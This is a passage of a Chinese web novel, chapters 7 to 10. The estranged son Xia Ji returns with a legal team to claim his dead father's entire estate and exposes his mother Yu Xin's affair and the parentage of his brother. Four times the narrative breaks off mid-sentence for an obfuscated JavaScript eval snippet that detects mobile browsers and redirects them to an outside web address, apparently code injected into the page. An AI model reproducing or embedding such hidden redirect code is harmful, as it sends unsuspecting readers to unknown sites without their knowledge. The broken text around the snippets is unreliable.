《大佬出事后,真少爷杀疯了》 7. 第 7 章 “什么?!他还想回来?”听闻夏季要回来,反应最大的无疑是夏荣了。 夏季当年能被赶出家门当属夏荣“功劳”最大,如今夏季要回来,他自然是一万个不情愿。 夏燃瞥了一眼这个备受宠爱的小弟,反问,“赵嘉良出了事,夏季无人照顾,回家来不是理所当然吗?” 喻馨笑了起来。 她一把按住冲动的小儿子,“想回来就回来呗,不过就是家里多养只雀儿而已,又不是养不起。再说夏季回来也好,省的在外面尽勾搭些麻烦人,不好管教。” 喻馨这话说的轻飘飘,好似是对再弄一次夏季胸有成竹。 可夏燃只是冷冷的瞥了她一眼,眼中连半分情绪也没有了,“你不会真以为夏季还是八九年前那个缺爱的小男孩吧?当初你把他赶出家门的时候他吭都没吭一声就走了。这些年他跟赵嘉良在一起混的风生水起,却偏偏要在赵嘉良出事的时候回来,还整出这么大的动静,你就一点儿不觉得有问题吗?” 可这时喻馨还真不觉得夏季能在自己手下翻出多大的浪来,“可说破天了我也他亲妈,他又能如何?” 毕竟在她的认知中,她能摁死夏季一次就能摁死第二次。只是第二天夏季浩浩荡荡的带着几十号人上门时,原本已经在堂中摆出一副倨傲姿态,准备给夏季来个下马威的喻馨看到这个架势的时候,当时就十分识时务的改变了态度策略。 这边夏季等人刚进门,夏荣就红着眼睛,一副坚强隐忍的模样迎了上来,“二哥你可算愿意回家了。当初妈只是关心则乱,说了几句重话你就离家出走再不跟我们往来,妈妈可是伤心了很久呢。” 那位老牌影后生出来的新晋影帝,在表演方面确实炉火纯青,且十分有天赋。 只是夏荣虽然表现的不错,可他这番话除了甩锅,其实还带着点儿施压的意味。毕竟全世界都知道夏季当初是被夏家赶出家门的。 曾经逆来顺受的夏季如今竟然开始反抗了,夏荣也想知道这么多年过去了,这位二哥到底能长进多少。 但夏季的回应显然再次突破了夏荣的预期。 夏季长得漂亮,说话却十分难,“喻馨会关心我?她不是在我离家第二天,就跟你亲爹去澳洲吃袋鼠了吗?” 说着,他转过头似笑非笑的望着不远处坐在正厅中央的贵妇人,“真没想到你竟然这么快就回国了。据我所知,两天前你不是还跟那位小男友在北美小岛上过二人世界吗?” 如果说刚刚夏荣的一番话还有点暗戳戳的试探意味,那夏季的回应则是里子面子一起掀,俨然就是一副要撕破脸的架势。 一想到这两日外面传的沸沸扬扬的“喻馨婚内出轨”话题,众人再看她的眼神都有些微妙。 喻馨的脸色变了变,随即想到之前有人提醒的:“夏季可能还有其他靠山”的事情来。 一种强烈的不安让喻馨当时就决定改变策略。 只消片刻,她就从刚刚高高在上气质骄矜的家族大家长,变成了双目噙泪,仿佛为孩子忍辱负重的豪门俏寡妇。 喻馨并没有为自己过多辩解,只是沉痛且忧伤的望着夏季,声音又绝望的仿佛真是个被孩子误解的母亲一般。 “夏季...你还在生妈妈的气是吗?” 看着她这副脆弱又隐忍的模样,一些对影后精湛演技还不甚了解的人都忍不住心生怜悯。毕竟这样一位美丽母亲,就算做了什么不体面的事情说不定也是有什么无可奈何的苦衷呢? 于是便有人上前打起了圆场,“好了夏季,你难得回家一趟还是要好好跟妈妈说话。她毕竟是长辈,年轻人别这么大火气嘛。” 说这话的是夏氏的一位老股东,李总。他跟夏听风和夏繁雨兄弟俩都挺熟,也是少有的知晓夏家内情的人之一。 而他今天之所以跟着夏季一群人过来,,也是有着自己的考量。 此时,喻馨和夏荣才注意到夏季身后的那帮人中有一半竟然都是律师团的人。 其中为首的,竟是来自赵家律师团队的知名大状徐芸一行。而夏氏律师团也几乎所有人全部到齐了。剩下的,除了夏氏的几个大股东之外,也都是夏家的沾亲带故的亲友了。 要知道夏季已经离开夏家七年了,他能在喻馨毫无察觉的时候聚集这些人,也着实意外。 原本还沉浸在“夏季好拿捏”错觉中的喻馨也是就看清了局势,她当即拿出了曾经惯用的佛口蛇心的姿态,试图再次唤起夏季心底那微不可见的母爱渴望。 “你还是在怪妈妈是吗?”不得不说影后的演技就是好,即使没理也能演三分的喻馨硬生生泫然欲泣的表演了两分钟。 但很可惜的是今天夏季的回家主题就三个字:要遗产。 除了到场的律师团队之外,其他人全部都是跟夏氏遗产划分有直接利害关系的人。在绝对的利益面前,没人有心情看表演。 “喻女士,我的当事人夏季作为夏听风先生唯一的,有血缘关系的子女,理应拥有继承权。”赵嘉良出事了,但赵家的律师团却依然在为夏季服务。 赵氏律师团的首席,精明干练的徐律师公事公办的阐明了他们今日到访的目的。 由于事关夏氏的股权分配这等大事,夏氏相关人员全员到场也就理所当然了。 喻馨有些难堪的抿了抿唇,她这时候算是看明白了,夏季这小子是回家寻仇来的。 其实夏家的情况并不复杂。 夏听风意外脑梗去世的时候还不到四十。因为太年轻,他甚至还没来得及立遗嘱。 这种情况下,遗产通常就会按照国家规定的继承法,由配偶和子女进行遗产的平均分配。 且喻馨跟夏听风有婚前协议,夏听风的遗产没有夫妻共同财产部分。于是当时夏家的法务团队是将他的遗产平均分为三份,由喻馨,夏燃和夏荣三人继承。 “太太。”夏氏的法务顾问团队是一支为夏家工作了近十年的老团队了,其负责人今日再重提遗产的事情,明显情绪不太好,“当初做遗产份额划分的时候我们就提议过要给二少爷做预备方案,可是您当初坚持说二少爷走失后绝对不可能还找得回来。是在您的坚持保证下,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16177578|180791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们才按照三位继承人的情况做的财产划分。” 这些情况律师那边都是有记录的,喻馨无法抵赖。 继承人从三位变成四位会导致股权稀释,本就容易引起股价动荡。再加上喻馨最近的丑闻,这谁又能想到喻馨这个老公都死了十年的寡妇,这年头还能爆个婚内出轨丑闻来呢? 主张快刀斩乱麻的李总代表夏氏股东利益,直接就问了,“当初听风去世的时候按照三人份等分也没多大问题,毕竟谁能想到夏季走失这么多年还能自个儿找回来不是?” “当然啦,夏季肯定是有继承权的,这点没问题。”接着,李总又开始尝试打圆场,“要不这样,夏季你有什么诉求,想要多少钱你说个数。只要在合理范围内,李叔叔一定挺你。” 此时,在场的众人还以为夏季是想把生父遗产的三人份变成四人份,从中分一杯羹。甚至喻馨都开始盘算着要把那一部分的不良资产包装一下,打发给夏季。 可接下来夏季却当场给他们表演了个狮子大开口。 只见他温柔一笑,“夏听风的遗产,我要全部。” “什么?”李总骤然还以为自己听错了。 而早知夏季打算的徐芸律师却是正色道,“夏先生的意思是,他要求继承夏听风先生的全部遗产。” 沉默在夏家富丽堂皇的正厅蔓延,期间除了夏燃抿了口茶之外,其他人都是震惊的望着夏季,心想的不外乎是:他可真敢开口啊! 夏氏的法务负责人轻咳了两声,“二少,我们都很理解您的委屈和不平,但法律不会支持您的无理要求的。” 夏燃和夏荣虽然不是夏听风的亲儿子,但他们却是经夏听风同意落在自己名下的儿子。再不济也是养子! “从小养大的养子在没有遗嘱的情况下,跟亲子享有同样的继承权。更何况喻女士是夏听风先生合法妻子,哪怕您能证明她有婚内出轨的情况,也无法剥夺她的继承权!” 律师的一番话让喻馨听着都想笑。 她这个从小在山坳坳里长大的老二就是一腔义气,长的漂亮却没什么脑子。 “夏季啊,你如果需要钱,妈妈和哥哥弟弟都能帮助你。”喻馨温婉一笑,“可是你爸爸的遗产中大部分都是夏氏的公司股份。这种上市公司肩负着多少员工的家庭发展,你没有做过生意可能不能理解当公司负责人的重担。” 一旁的李总立刻帮腔,“是啊夏季,就算他们都愿意把夏氏股份给你,你又能带领夏氏好好发展吗?这可是多少员工的饭碗啊!” “这就不用您操心了。”夏季笑的散漫,仿佛刚刚的狮子大张口是个玩笑一般,“不同意的话咱们就打官司呗,反正我现在有的是精力和财力...” 遗产分配的话题显然是无法推进下去。 夏季这边分毫不让,且软硬不吃。除了拿到全部遗产外没有任何谈判空间。 “实在不同意也没关系,反正我也是要起诉的。”夏季无所谓的耸了耸肩,“遗产的事情就先讨论到这里吧,接下来咱们谈谈喻女士婚内出轨的问题吧。” 8. 第 8 章 “夏季!你不要太过分!” 夏季的这话一出,在场众人的表情一下都有意思起来了。 喻馨只觉得自己这辈子从未遭受过如此奇耻大辱。只见她美目噙泪,一副泫然欲泣的模样,看着好不惹人怜惜。 别看喻馨已经是三个孩子的母亲了,但常年的养尊处优和流水的金钱砸下去,如今她这五十多的年纪,走出去说三十多都有人信。更别提她还是个优秀的演员,精湛的演技十分能够拿捏人心。 果然,下一刻那位热心的李总就一脸不满的斥责道,“夏季!你回夏家的时间短,你不了解你父母之间的情况,就别在这儿添乱了!” 夏季有些好笑的垂眸望着他,“哦?我父母之间的情况我不了解,您却十分了解不成?” 李总一噎,不悦的转过头去没再吭声了。 其实今天愿意跟夏季一起上门的除了负责重新清算遗产的律师团之外,剩下的这帮人大都是为最近闹的沸沸扬扬的“夏家三兄弟”的身世而来。 虽然昨天夏燃接受采访明确了自己的身份,但喻馨作为曾经掌控过夏氏的“皇太后”,现下她身上的丑闻若是处理不好也极有可能会影响到夏氏的股价。 因此,夏氏的那些小股东和那些沾亲带故的亲戚们也是按捺不住,要求喻馨把话说清楚。 其实这种陈年往事若不是被夏季硬翻出来,早就无人在意了。 喻馨十分委屈,可现在外面的传言已经不是冷处理就能解决的了。昨天她陪夏燃去给夏繁雨上坟的时候,就拐弯抹角的问了夏燃对此次网络舆论的看法。 夏燃说:“说谎从来不是长久解决问题的办法。现在想要拨乱反正,自然要付出代价。” 可并不想拨乱反正,更不想付出代价的喻馨对长子的这一说法并不认可。如今她从夏氏高层退居二线,本能的希望自己的长子能够为自己你这个当妈的摆平舆论问题。毕竟,她所做的一切都是为了这个大儿子啊! “够了!我喻馨做事向来问心无愧!”面对在场众人探究的目光,喻馨失望的瞥了一眼仍旧一言不发的长子,起身道,“当年我跟繁雨两情相悦,都已经谈婚论嫁了。可惜天有不测风云,我刚怀孕还没来得及跟繁雨领证他就车祸去世...是我自愿为他留下这唯一的血脉的。后面公公婆婆担心单亲家庭不适宜孩子健康成长,正好听风也愿意,这才让我跟他领了证。” 喻馨的目光扫过在场的夏家旁支亲戚,那些人对她的说法表示赞同。可夏燃的身世原本在世家中就不是秘密,这并不是什么问题,真正有问题的是夏荣! 夏氏的一位女股东率先问了,“喻女士,我们和外界股民关心的只有一个问题。夏荣到底是不是你的亲儿子!” 准嫂子带孩子嫁给小叔子,虽然不怎么好听,但只要人家当事人愿意也没有问题。可夏荣的身世,却是能把喻馨这位夏氏“皇太后”定在耻辱柱上的! 虽然经过夏季刺激之后的内娱狗仔这两天已经是掘地三尺,几乎是把喻馨生过三个孩子的事情锤的死都不能再死的程度了。 但曾经见证过喻馨是怎么用舆论媒体手段,把夏季这个国家院士的关门小弟子塑造成鸡鸣狗盗,人品低劣之徒的圈内人是不会相信舆论传闻的。 有股东再次提醒,“虽然喻馨你如今已经不是夏氏的最高负责人了,但喻女士你的丑闻仍然有可能涉及股价波动!” 逼迫自己当着这么多人的面说这些私密往事,这对风光了大半辈子的喻馨来说,跟直接打脸又有什么区别? 直到现在,她终于忍不住恨恨的瞪了夏季一眼。 可夏季给予她的回应,也不过只有一个淡淡的笑。 他笑的那么温和平静,仿佛是冰雪消融后的最后一丝冷意消散时的暖意,带着些说不清道不明的期许。 然后喻馨就忽然想起,那年夏季忽然回到夏家。他穿着洗的发白的牛仔裤和几乎看不出原本图案的单薄T恤,站在精美的镂空雕花围栏外望着自己的时候,脸上似乎也是这样的表情。 作为母亲,喻馨只第一眼就认出了对方的身份。 而那孩子眼中的期许之情却让她恼怒的别过视线,抗拒着与他视线交汇。 她从一开始就明白夏季想要什么,但她不愿意给。 可事到如今,愿不愿意好像也不由她了。 见喻馨用力咬着唇,眼尾通红的不肯说话,夏荣也是凄凉的喊了一声,“妈...” 直到这时,夏燃才终于放下他那只宝贝茶杯。他抬起头正与母亲的视线交汇,在对方已然带上些许怨色的神色中开口了。 “夏荣确实是母亲亲生的孩子。” 夏燃此话一出,众人的目光再度全部集中在喻馨身上。 那种夹杂着不齿,探究以及各种说不清道不明情绪的视线,让座次在正厅上首的喻馨避无可避。 “但这并不是母亲的错。”夏燃继续道,“表姑母他们其实都知道的,当初母亲嫁给夏听风,全都是为了给我一个名正言顺夏氏继承人的身份。他们根本没有感情,之后爷爷奶奶也同意了他们的开放式婚姻,不是吗?” 开放式婚姻这种东西怎么说呢,虽然并不符合华国大众的主流道德。但这种夫妻俩关上门的事情,旁人最多指指点点两句也不能真怎么样。但问题是,夏听风已经死了,死了快十年了。他若是一直跟喻馨保持距离,说是没有感情的开放式婚姻也说得过去。可偏偏喻馨给夏听风也生了个儿子。 逝者已逝,真相如何还不是靠活人的一张嘴。 尤其是这年头的舆论造势越来越难搞,就是因为普通民众被溜多了之后多少都有了些自己的思考和判断能力。 夏听风作为当时的上市公司掌权人,豪门世家家主。他真的在会明知养子是老婆跟外人生的,还收养这个孩子,并且给他继承权吗? 这个问题谁都无法替夏听风回答,但是按照人之常情来说,绝大部分人都不认为夏听风能容忍老婆这么做。 这时,双方法务关注的点全部在于夏荣是否有继承权上,而夏家的亲戚股东们则更关注的是要如何把这一丑闻给压下去,且不影响股价。 “这不是很简单吗?只要把遗产全部给我,这问题不就迎刃而解了?”夏季幽幽的开口,语气随意的好像开玩笑一样。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16177579|180791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 可让大家没有想到的是,跟其他人的坚决反对不同的是,身为如今夏氏总裁,拿到夏听风遗产份额最多的夏燃却是同样跟开玩笑似的开口了,“我同意。” 一时间,众人哗然。 喻馨甚至以为自己是情绪激动听错了,“夏燃,你说什么?” “我愿意放弃继承权,将所有的遗产份额全部给夏季。”这一次,夏燃说的字正腔圆,让在场每一个人都听得清清楚楚。 “夏燃!你特么的知道自己在说什么吗?!”如果说之前夏燃在接受媒体采访时所说的话语是对她的背叛,那他彻底放弃夏氏权柄的行为则是对她这个母亲的抛弃! 喻馨几乎是崩溃的冲到他面前,一把揪住他的衬衣衣领,“我为你付出这么多,我几乎为你拼尽全力啊!你怎么能这样对我?” 后面的场面就有些混乱了。 喻馨这时候是彻底维持不住自己温柔母亲的形象了,身份微妙的夏荣则是惊恐万分的站在母亲和哥哥中间试图安抚,却又无可奈何。 唯有夏季,他一手支着下巴,一边歪着脑袋唇角微勾的欣赏着自己多年后再回夏家,给这个冷漠无情,荒诞可笑的家族带来的“活力”。 眼看着喻馨情绪不稳,一时也讨论不出什么,夏季便有些乏了。 趁着喻馨还在跟夏燃争吵,夏荣也还在劝和的时候,他对那位在夏家干了三十多年的老管家挥挥手说,“我过段时间要搬回来住,这家里的装修我不喜欢。一会儿会有我安排的装修队上门,你安排一下。” 管家颇有些为难的说,“可是二少,家里的客房面积都不大,肯定是不符合您的身份的。而其他房间都有主了,您看...” 夏季凉凉的扫了他一眼,“你是怎么在夏家干三十年的?看不出来夏荣要被我扫地出门了吗?一会儿就让装修的人把夏荣房间砸了给我重装。” “这...”刚刚在门口也听到全程的老管家心头一惊,一时也不知该应下还是拒绝。 作为一个管家,他不过是个打工人而已,只要工资到位谁当家他并不在意。 思及此,他还是恭敬的低下头,“明白了,稍后我会跟夫人汇报。” 夏季从夏家离开的时候,夏家内部还在一片腥风血雨。 夏季的继承权问题,夏荣的出身问题,以及喻馨到底算不算婚内出轨的问题吵得很凶。 见他们一时也难以吵出个所以然来,夏季也达到了此行的目的,只留下一句,“下周我再过来”,便起身离开了。 他是走的无事一身轻,却让整个夏家都陷入了巨大的矛盾之中。 正在这种危机时刻,之前一直执掌夏氏将公司运营的好好的夏燃却忽然要撂挑子了,这谁能接受得了? 后面还是夏燃的老婆高嘉丽逛街回来发现他们还在吵吵,这才开始心烦的赶人。 等到正厅里终于只剩下自家人,喻馨颓丧的坐在主位上满面泪痕,整个人却是惊魂未定的。 刚刚她崩溃质问的时候夏燃说了这么一句话:你真以为七年前夏季是因为被你们排挤出家门的?夏家的所有事,他知道的比我还清楚! 9. 第 9 章 夏家当初的事情已经是一团烂账了,这种陈芝麻烂谷子的事情除了夏季之外,根本没人想翻出来重新算! 可偏偏夏季他就是非要翻出来算啊! “在你回国之前,夏季联系过我。”夏燃垂眸,淡淡道,“他说,他已经知道了你曾经做过的所有事。” 喻馨神色微僵,却并不出声。而她的这幅反应,在夏燃看来明显就是一种心虚的表现。夏燃心里很清楚,喻馨对夏季的态度并不是一个正常母亲对亲生孩子的态度。哪怕十根手指有长短,母亲也至少会对自己的孩子多少有点儿爱护之情。 而不是像喻馨这样... “妈,请你诚实的回答我一个问题。”夏燃凝望着母亲依然美丽娇艳的脸庞,“您当初是不是真的想杀了夏季?” “大哥你胡说八道什么呢!”喻馨还没出声,一旁的夏荣先急眼了。 他迫不及待的想要维护从来疼爱自己的母亲,却被她拽了一把,“小荣,你先出去,我跟你哥哥谈一谈。” “妈!” 虽然不情愿,但在母亲难得严厉的目光中,夏荣还是不甘心的出去了。 在今天之前,夏荣一直觉得自己是家里最受宠的孩子。无论未来出现如何变故,他都能被家人们好好保护着。再加上他从小就被灌输着自己生来就是享受世界的,理应拥有这世界上最美好的一切。 可今天发生的事情又多又杂,信息量已经让他的脑子过载了。 而当他浑浑噩噩的准备回房间冷静冷静的时候,却发现自己那间位于三楼朝向最好,最宽敞明亮的房间门口站满了人。 “你们是谁?谁允许你们进我房间的?!”看到那些身着那些穿着非夏家工作服的工人们竟然在搬他房里的东西,夏荣当时就发火了。 他上前呵斥道,“都给我滚出去!” 可惜夏荣的呵斥并未影响工人们手上的动作。 一道略显痞里痞气的声音响起,“哟,这不是小夏影帝嘛。” 夏荣浑身一僵的回过头,果然看到了那个曾经当过他一段时间噩梦素材的男人。 只见阿久今天穿了身花衬衫,脖子上的大金链子闪烁着美丽的金属光芒。让他咧嘴一笑的模样看起来更加“和蔼可亲”了。 认识赵嘉良的人都知道这个阿久就是赵嘉良身边最凶猛的一条狗,凶猛又护主。当初夏季刚被赶出夏家的时候,夏荣曾经产生过赶尽杀绝的想法。只可惜夏季跟赵嘉良勾搭上的太快,他刚出手就被赵嘉良化解了。而当时被赵嘉良指派下来帮夏季解决问题的人,就是这个阿久。 那次要不是夏燃的老婆高嘉丽出面,夏荣都差点儿翻车。因此后面他再也没敢对夏季动过心思,直到现在赵嘉良出事... “这是我家,我的房间!你在这里干什么?”面对阿久,夏荣有些色厉内荏的说。 明显是今天陪夏季一起过来的阿久嗤笑了两声,“什么叫你家?你是夏家的种吗?” “我们家夏先生说了,这整个夏家以后都是他的了。”他又指了指房门,“这个房间,是我们夏先生看中的。以后就是他的卧室了,懂?” 夏荣被气的火冒三丈。 本来今天被夏季追上门来羞辱就已经够让人烦躁了,自己才离开没一会儿功夫,回头家被偷了? 他恼火的转头瞪了一眼在墙角探头探脑的管家,“你还在这儿愣着看啥?还不赶紧叫保安过来把他们给我赶走!?” 可精明的老管家一脸为难,“可这房间的事情还是要家主人做主才行啊...” “你什么意思?!我才是这个家的主人!你们敢不听我的?”第一次被自家佣人反驳的夏荣只觉得自己丢脸丢到家了。 一旁的阿久噗嗤一声笑了起来,“夏影帝,你要实在看不过眼,不如报警啊。” 在一阵哄笑声中,夏荣愤怒的冲了出去。 阿久留在夏家盯着工人们搞装修,确定没人碍事后才离开。 倒是夏燃跟喻馨单独谈了很久,一直到夏季都回了夏园,这母子俩的私聊还没有结束。 “怎么才回来?我还以为你要真要回夏家住呢。”早已在花厅里喝茶的王今安见他进门,有些没好气的说,“你那个死鬼对象今天有反应了,我特地着急忙慌的给你打电话,结果一直无人接通。” 王今安是来了夏园才被管家告知说夏季一早就带人去了夏家,知晓夏季身上那对腌臜事情的王今安想着事情重要,最好能跟夏季当面聊,便决定喝会儿茶等他回来。结果这一等,就是小半天。 夏季有些惊讶的失笑,连连道歉,“抱歉了姐,我早上去夏家谈事情,就把手机静音了。” 自从夏季负责的保密项目结束之后,他整个人都放飞自我了好一段时间。若不是赵嘉良出事,他其实是想多放松一段时间的。不过这时候他也只能强打起精神,“姐,阿良他...” 王今安瞥了他一眼,“今早实验人员给他做脑电波测试的时候有反应了。托你的福,按照医生的预估,只要情况能持续好转,最多一个月他就能清醒。” 夏季用力抿了抿唇,真挚道谢,“姐,这事儿真的太谢谢你了。等阿良醒了我一定带他去给你磕三个响头。” “别,我用不上!”王今安一脸嫌弃,“也幸亏他平日健壮如牛,不然一般人被这么一撞早嘎了。他虽然能挺过这一劫,但后续治疗复健也是个漫长的过程。等他能给我磕头的时候,说不定我都进新项目了。” 王今安和她的母亲外祖父母一样,进入京大念书之后都成了相关领域的科研人员。 只是她没有从事王院士和夏季的物理专业,而是去学了医。 夏季知道她对救死扶伤这件事有心结,所以也尊重她的选择。而如今,王今安的这一选择,这次恰好救了大命! 师从华国最权威的神经外科泰斗许昌的王今安绝对是新一代神经外科最有前途的学生,这次赵嘉良出事后,第一时间就被夏季托关系送去了许老的实验室。 夏季跟今安姐聊了一会儿赵嘉良的情况,也算是心安了不少,也有心思沾沾自喜的自吹自擂了,“果然是我这辈子积德行善,才能让赵嘉良这个大SB沾光。他这次能捡回一条小命,全靠我!” 虽然这段时间夏季在人前人后都是一副运筹帷幄,悠然肆意的姿态。但从小就认识他的王今安却比谁都更看的出他内心的不安。毕竟从他在赵嘉良出事之后,就马不停蹄的去弄赵家那几个仅存的独苗苗就能看出来了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16177580|180791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“其实你不该这么冲动去找夏家人的麻烦,打草惊蛇。”王今安叹了口气,“夏季,你的心情我能理解。但有的证据搜集,还需要时间。” “我知道。”夏季苦笑着低下头,但微微颤动的羽睫还是再次出卖了他不安的内心。也只有在他最信任的人面前,夏季才能偶尔透露一丝情绪,“姐,我...” “别怕。”王今安站起身,将手轻轻按在他的肩头,“咱俩能从清河村一起活着走出来,就说明咱们命不该绝。还记得徐老师说过的吗?” “我们一定都会有光明灿烂的未来。” 而另外一边,如今的夏家家主夏燃和他的亲生母亲喻馨则是爆发了有史以来最大的一次争吵。 刚刚从外面回来的高嘉丽发现家里又是施工又是吵架的,烦躁的说,“一会儿夏燃出来跟他说一声,我回娘家去了。” 一旁的佣人不敢多置喙,各个低头称是。 今天这对母子吵得很凶,哪怕夏家会客厅的大门隔音效果极好,也还是难免有一丝丝的声音传出来。 高嘉丽早就不想掺和夏家这趟浑水了,她裹上外套,快步离开。而此时夏燃还在质问他的母亲:“夏季到底是走失的,还是你故意让保姆把他丢掉的?” 从一开始夏燃就对母亲是否会说实话这个问题不抱太大期望,所以在今天质问喻馨之前,他其实是有去调查过一段时间的。 虽然都是十几年前的往事了,查起来有些费劲。但现下仅仅是他手里查到的那点东西,都让夏荣心惊。 “妈,有的事情不是你不说,我也不知道就能当作无事发生的!”即使早已对这个母亲死心,但夏燃面上的失望还是溢于言表,“妈,杀人犯法,你不知道吗?” “当然,夏季还活着,你最多算个未遂。事情过去这么久,你就希望夏季他找不到证据送你进去吧。”夏燃叹了口气,“我现在只能希望,你做过的最坏的事情就只是试图杀了夏季这一件!” “妈。夏家掌权人的身份和再多的财富都不能让你凌驾于法律道义之上,您这个年纪的人了这个道理一定是明白的吧。” 喻馨用力咬着唇,一脸不忿,“什么未遂什么杀人?你当我是什么人了?” 后面她甚至痛苦的哭泣了起来,“一个QJF的儿子本就不应该存在!如果不是公婆非要我嫁给夏听风他们才肯认你,给你继承人资格,我又怎么会遭遇这些?” “我只是想守护我的爱情,保护我的孩子!我有什么错。” 夏燃眉心微蹙,他张了张口,最后却什么话都说不出来。 身为既得利益者,他站在旁观者的角度能够体谅母亲。可有的事情,并不是他体谅了,就算完了。 “可是妈妈,你有没有想过。夏季他一个一无所有的孩子,能凭借自己的力量从那种山坳坳里爬出来,你真觉得他是什么会相信世上只有妈妈好的人吗?” 喻馨瞳孔微缩,“你的意思是...” “夏季的老师王院士,是华国目前最有价值的科学家。而他女人早年被人贩子卖进大山生孩子,但只有王今安这一个大女儿活了下来。王今安,跟夏季是在一个村子里长大的。而王今安原名叫何招娣,今安这个名字,还是夏季给她改的!” 10. 第 10 章 夏燃在结束了跟喻馨的谈话后,在正厅里坐了很久很久。 最后,他还是拿起手机,给夏季打了个电话。 第一次电话响了很久都没有人接,一直到第二次电话快被自动挂断的时候,夏季才不紧不慢的接起了电话。 “喂?”从声音听来,夏季此时心情不错。 但跟他形成鲜明对比的夏燃却是心情沉重。 “是我。之前你说的那些要求,我同意了。作为交换,我希望你放妈妈一马。” 可电话那头的夏季只是不屑的笑了笑,“如果人有罪,自然会有法律审判他。我不是法官,管不到我来放不放过的。” “夏季,你还恨妈妈吗?” 这下,夏季笑的更欢乐了。 “大哥,你知道我和你最大的区别是什么吗?” “我回到夏家只用了不到一年的时间就确定了一件事。我的母亲她不爱我。但是大哥你呢?你已经三十了,你到现在还在纠结什么我妈妈爱不爱我这种问题吗?” 夏燃沉默了片刻,率先挂断了电话。 因为夏季留下了装修队的缘故,那支装修队为了赶工,日夜不停的干活,搞得家里尘土飞扬不说,还吵的要命。 夏荣被阿久吓跑之后就直接跑去了周家,跟他的丈夫周镇川告状去了。而喻馨则是在跟长子谈过话之后吓坏了,她抓起手包,匆匆出门。看样子,可能是去找她那位交往多年,还共同育有一子的小男朋友去了。 这样噪音巨大的房子一时间肯定住不了人了。 夏燃简单收拾了一下东西,就出发准备去老婆娘家一起住段时间。自从赵嘉良出事之后,夏季突然发难,这搞得夏燃心力交瘁。他早就不想继续掺和了。 能够老婆孩子热炕头,谁又愿意为旁人拼命呢? “在想什么?”回到自己家的高嘉丽穿着精致的丝绸睡袍。 她的小腹微微隆起,显然是已经怀孕有些日子了。但这个消息,他们夫妇俩并没有对外公布。 夏燃疲惫的将脑袋搁在她的肩膀上,有些委屈的说,“我想早点把夏氏丢给夏季,快点来老婆家当上门女婿。” 女人轻笑两声,“哈哈,你要这么做肯定会被你妈妈和你弟弟闹死的。” “闹又有什么用呢,偷来骗来的东西,怎么可能长长久久。丽丽...还好,我还有你。” - 自从赵嘉良出事之后,夏季就跟老师请了假,说要把这几年积攒的年假一起休掉。 王老也是很好说话的让他去了,还不忘叮嘱他“注意安全”。 夏家老宅那边被装修队敲的乌烟瘴气的时候,夏家倒是悠然的在奢靡的夏园里过着皇帝一般的生活。而那位负责帮他照料某位怨种霸总的王今安也是带着自己的老师两口子一起住进了夏园,权当度假。 “虽然我实在看不惯赵嘉良那狗东西,但不得不说他真挺会伺候人的。”王今安带着自己的导师夫妻俩,舒舒服服的享受了夏园的世界顶级自控温泉循环池后,对夏园的设施赞不绝口。 “这房子弄下来不便宜吧?” 虽然外界都传夏园有价无市,但当夏季真的比了个数字出来之后,王今安还是忍不住咂舌,“赵嘉良这个狗东西,真是万恶的资本家啊!” 对于她对赵嘉良的这一评价,夏季还是忍不住要为他正名的。 “其实阿良平时生活还是很俭朴的,不是个铺张浪费的人。” 王今安指着天花板睁大眼睛,“你盯着这屋子把刚刚那话重新说一遍?” 夏季莞尔一笑,“呵呵,这屋子不是我的私人财产吗?他的挣钱,基本上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16177581|180791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是我在花呢~” 虽然全世界都知道夏园是赵嘉良个人出资建设的,但很少有人知道。当年赵嘉良咬牙盖好这座奢靡无度的夏园之后,耗尽了自己名下所有的流动资金,甚至还抵押了几处房产。周转不灵的那几天,他死皮赖脸的跑去跟夏季挤博士生宿舍。 夏季本来对他是持坚决不从的态度的,可当赵嘉良手捧价值千亿的不动产转让合同时,饶是夏季这种坚定的“不为金钱所动”的人都无法控制的多看了他两眼。 “你是不是有病?”自从医院堵门事件之后,夏季就被赵嘉良缠上了。 